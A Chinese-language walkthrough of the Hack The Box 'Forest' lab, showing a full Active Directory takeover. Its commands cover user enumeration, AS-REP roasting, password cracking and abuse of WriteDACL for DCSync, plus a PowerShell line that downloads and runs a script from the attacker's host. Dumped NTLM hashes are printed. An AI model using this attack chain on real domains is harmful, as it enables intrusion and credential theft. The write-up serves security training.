Active Directory 101-Forest

Forest

前言

学了一段时间的域渗透了,最近开了一个HTB的会员(老贵了)。想的是玩一下他那个Active Directory 101系列的靶机。这是第一台靶机 Forest后面有时间的话再玩一下那个cloud系列的云靶机。

信息收集

还是正常的扫描端口

nmap -sC -sV -p- 10.10.10.161 

扫描得到端口信息

通过扫描得到端口开放信息中有Kerberos LDAP SMB WInrm RPC 主要这些敏感服务端口

Kerberos用户枚举

kerbrute_linux_amd64 userenum --dc 10.10.10.161 -d htb.local 字典地址

枚举到了 admin 用户

RPC用户枚举

rpcclient -U "" 10.10.10.161       建立连接 
enumdomusers                       枚举用户

Ldap用户枚举

ldapsearch -x -b "DC=htb,DC=local"  -s base -h 10.10.10.161
经过对枚举结果的筛选后发现如下用户名
sebastien
lucinda
svc-alfresco
andy
mark
santi

在通过kerbrute 枚举得到用户确实存在

AS-REP Roasting

因为在设置svc-alfresco用户后,该用户不可以开预认证,因此我们可以直接拿到其TGT

image-20231204114043256

将这段hash保存保存到本地文件中使用john暴破出来。

image-20231204114423092

WINRM

由于开放了WINRM服务端口可以通过 evil winrm进行登录。

evil-winrm -u svc-alfresco -p s3rvice -i 10.10.10.161
image-20231204115118559

Blood信息收集

登录进去后 可 通过上传blood确定攻击的路径。

image-20231204115333208
image-20231204115646092

滥用writeDACL 权限进行DCsync攻击实现权限提升

通过搜索“svc-alfresco”用户,我发现实际上该用户属于 Account Operators 组,该组是AD中的特权组之一,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器。但是,不能更改属于Administrators或Domain Admins组的账号,也不能更改这些组。

svc-alfresco 到 Domain Admins 的路径,发现exchange windows permission组完全信任Account Operators 组,因此我们可以利用Account Operators 组的权限创建一个新用户,然后把他添加到exchange windows permission组,这样我们就可以对HTB.LOCAL进行一些操作了,我们看到exchange windows permission组的成员对htb.local用有writeDACL权限, 然后我们可以利用我们新添加的用户对HTB.LOCAL的 writeDACL权限进行恶意利用,进而实现权限提升.

后面的操作主要集中位创建一个用户然后利用缺陷 将他添加到不同的组中

net user test123  test123! /add /domain 
net group      #该命令的结果中找到了Exchange Windows Permissions组
net group 'Exchange Windows Permissions' test123  /add /domain 
net localgroup   #在该命令的结果中发现了Remote Management Users组 
net localgroup 'Remote Management Users' test123  /add

然后登录到使用创建的用户登录。

python -m http.server 80
evil-winrm -u test123 -p test123! -i 10.10.10.161
powershell -nop -exec bypass -c "iex(New-Object  Net.webclient).downloadstring('http://10.10.16.12/PowerView.ps1')"
Add-DomainObjectAcl -PrincipalIdentity 'test123' -TargetIdentity 'DC=htb,DC=local' -Rights DCSync

此时,我们就可以使用升级后的权限,我们可以使用secretsdump.py工具执行 DCSync 以转储“管理员”用户的 NTLM 哈希

secretsdump.py test123:'test123!'@10.10.10.161

Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
...
...
...
[*] Cleaning up...

得到管理员的hash值就可以使用wmiexec直接登录到用户上去。

image-20231204120841570

总结

通过对于开放服务的枚举得到了 svc-alfresco 用户。通过john破译出了密码。使用账号密码进行了登录 使用blood进行了一波信息收集。经过分析后发现当前用户所处组为Account Operators 组,该组被Exchange Windows Permissions组完全信任,所以我们新建了用户并将其添加到了该用户组,又因为,Exchange Windows Permissions组对HTB.LOCAL有WriteDACL权限,我们对其使用了DCsync攻击,成功获取到了管理员的hash,最终通过wmiexec哈希传递拿到了管理员权限。

参考链接

https://www.freebuf.com/author/%E5%8D%97%E5%9F%8E%E5%A4%95%E9%9B%BEhacker